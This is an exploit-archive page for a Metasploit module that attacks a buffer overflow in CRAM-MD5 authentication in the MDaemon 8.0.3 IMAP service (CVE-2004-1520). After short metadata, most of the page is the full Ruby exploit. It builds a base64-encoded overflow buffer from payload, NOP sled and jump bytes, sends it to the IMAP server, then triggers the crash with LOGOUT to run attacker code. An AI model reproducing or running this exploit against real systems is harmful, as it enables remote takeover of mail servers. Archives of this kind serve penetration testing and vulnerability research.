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Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow

Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow
Posted Nov 26, 2009
Authored by anonymous | Site metasploit.com

This Metasploit module exploits a buffer overflow in the CRAM-MD5 authentication of the MDaemon IMAP service. This vulnerability was discovered by Muts.

tags | exploit, overflow, imap
advisories | CVE-2004-1520
SHA-256 | ab790525ee06e4631621b8a149d2cc10a555ebb52be8f2bcf2739624fa36b789

Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow

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##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::Imap

def initialize(info = {})
super(update_info(info,
'Name' => 'Mdaemon 8.0.3 IMAPD CRAM-MD5 Authentication Overflow',
'Description' => %q{
This module exploits a buffer overflow in the CRAM-MD5
authentication of the MDaemon IMAP service. This
vulnerability was discovered by Muts.

},
'Author' => [ 'anonymous' ],
'License' => BSD_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-1520'],
[ 'OSVDB', '11838'],
[ 'BID', '11675'],

],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 500,
'BadChars' => "\x00",
'StackAdjustment' => -3500,

},
'Platform' => 'win',
'Targets' =>
[
[ 'MDaemon IMAP 8.0.3 Windows XP SP2', { } ],
],
'DisclosureDate' => 'Nov 12 2004',
'DefaultTarget' => 0))
end

def exploit
connect

print_status("Asking for CRAM-MD5 authentication...")
sock.put("a001 authenticate cram-md5\r\n")
res = sock.get_once


print_status("Received CRAM-MD5 answer: #{res.chomp}")
# Magic no return-address exploitation ninjaness!
buf = 'AAAA' + payload.encoded + make_nops(258) + "\xe9\x05\xfd\xff\xff"
req = Rex::Text.encode_base64(buf) + "\r\n"
sock.put(req)
res = sock.get_once

print_status("Received authentication reply: #{res.chomp}")
print_status("Sending LOGOUT to close the thread and trigger an exception")
sock.put("a002 LOGOUT\r\n")
res = sock.get_once

print_status("Received LOGOUT reply: #{res.chomp}")
sleep(1)

handler
disconnect
end

end
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